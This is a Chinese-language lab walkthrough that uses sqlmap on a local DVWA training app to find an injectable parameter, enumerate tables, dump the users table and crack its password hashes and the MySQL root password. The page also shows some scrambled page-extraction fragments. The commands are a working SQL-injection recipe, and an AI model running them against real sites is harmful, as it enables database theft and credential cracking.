DVMW+sqlmap
DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql編寫的一套用於常規WEB漏洞教學和檢測的WEB脆弱性測試程序。包含了SQL注入、XSS、盲注等常見的一些安全漏洞。
sqlmap是一個自動化的SQL注入工具,其主要功能是掃描,發現並利用給定的URL的SQL注入漏洞。支持不少數據庫。
mysql
因此一個矛一個盾，正好感覺一下sql注入。
DVWA 的安裝就不詳細介紹了，須要PHP/apache/mysql
sqlmap是開源的，能夠在github上找到。
DVWA 的安裝就不詳細介紹了，須要PHP/apache/mysql
sqlmap是開源的，不須要安裝，能夠在github上找到。
git
下面是體驗步驟：
1、查找注入點
1.
打開wireshark，監視lo網卡（由於是本機）
2.
在DVWA的SQL Injection頁面上有一個userid輸入框，隨便輸入而後點擊submit
3.
在wireshark中能夠找到GET信息
其中有Request URI和Cookie信息
4.
使用sqlmap查找注入點
./sqlmap.py -u "http://localhost/DVWA-1.0.8/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie="security=low; bdshare_firstime=1407830747693; PHPSESSID=q1le5upd7bofsg2c0lbdh839f3"
獲得可能的注入點是id，數據庫是mysql
[INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
2、開始脫褲
1.
./sqlmap.py -u "http://localhost/DVWA-1.0.8/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie="security=low; bdshare_firstime=1407830747693; PHPSESSID=q1le5upd7bofsg2c0lbdh839f3" --current-db
獲得當前數據庫名
current database: 'dvwa'
2.
./sqlmap.py -u "http://localhost/DVWA-1.0.8/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie="security=low; bdshare_firstime=1407830747693; PHPSESSID=q1le5upd7bofsg2c0lbdh839f3" --current-db --tables -Ddvwa
使用dvwa庫獲得表名
github
點擊(此處)摺疊或打開sql
Database: dvwa
數據庫[2 tables]
apache+-----------+
安全| guestbook |
cookie| users |
工具+-----------+測試
3.
./sqlmap.py -u "http://localhost/DVWA-1.0.8/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie="security=low; bdshare_firstime=1407830747693; PHPSESSID=q1le5upd7bofsg2c0lbdh839f3" -T guestbook --columns
獲得guestbook的表結構
點擊(此處)摺疊或打開
Database: dvwa
Table: guestbook
[3 columns]
+------------+----------------------+
| Column | Type |
+------------+----------------------+
| comment | varchar(300) |
| comment_id | smallint(5) unsigned |
| name | varchar(100) |
+------------+----------------------+
獲得users表結構
點擊(此處)摺疊或打開
Database: dvwa
Table: users
[6 columns]
+------------+-------------+
| Column | Type |
+------------+-------------+
| user | varchar(15) |
| avatar | varchar(70) |
| first_name | varchar(15) |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+------------+-------------+
4.
./sqlmap.py -u "http://localhost/DVWA-1.0.8/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie="security=low; bdshare_firstime=1407830747693; PHPSESSID=q1le5upd7bofsg2c0lbdh839f3" -T users --dump
獲得users表的內容
點擊(此處)摺疊或打開
Database: dvwa
Table: users
[5 entries]
+---------+---------+---------------------------------+----------------------------------+-----------+------------+
| user_id | user | avatar | password | last_name | first_name |
+---------+---------+---------------------------------+----------------------------------+-----------+------------+
| 1 | admin | dvwa/hackable/users/admin.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 | admin | admin |
| 2 | gordonb | dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 | Brown | Gordon |
| 3 | 1337 | dvwa/hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b | Me | Hack |
| 4 | pablo | dvwa/hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 | Picasso | Pablo |
| 5 | smithy | dvwa/hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 | Smith | Bob |
+---------+---------+---------------------------------+----------------------------------+-----------+------------+
5.
同命令4,在sqlmap詢問時候破解密碼時，選擇是，sqlmap會使用本身的字典來破解密碼，獲得5個用戶的密碼。
點擊(此處)摺疊或打開
Database: dvwa
Table: users
[5 entries]
+---------+---------+---------------------------------+---------------------------------------------+-----------+------------+
| user_id | user | avatar | password | last_name | first_name |
+---------+---------+---------------------------------+---------------------------------------------+-----------+------------+
| 1 | admin | dvwa/hackable/users/admin.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin | admin |
| 2 | gordonb | dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon |
| 3 | 1337 | dvwa/hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack |
| 4 | pablo | dvwa/hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo |
| 5 | smithy | dvwa/hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob |
+---------+---------+---------------------------------+---------------------------------------------+-----------+------------+
6.
此時，DVWA的sql injection任務完成。
DVWA的 sql blind injection 任務也是同樣用以上方法，在最開始查找注入點的時候會提示id爲盲注點./sqlmap.py -u "http://localhost/DVWA-1.0.8/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; bdshare_firstime=1407830747693; PHPSESSID=q1le5upd7bofsg2c0lbdh839f3"獲得id爲'AND boolean-based blind - WHERE or HAVING clause' 注入點的信息： [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Surname: admin")./sqlmap.py -u "http://localhost/DVWA-1.0.8/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie="security=low; bdshare_firstime=1407830747693; PHPSESSID=q1le5upd7bofsg2c0lbdh839f3" --passwords使用sqlmap自帶的字典能夠破解出數據庫用戶的密碼database management system users password hashes: [*] debian-sys-maint [1]: password hash: *C76DD9894107EB85B2E15ADD4DDA15G7E3C6E98F[*] root [1]: password hash: *3800D13EE725ED411CBC3F23B2A2E19C64CE0BEC clear-text password: passwordABC
-
每一个你不满意的现在，都有一个你没有努力的曾经。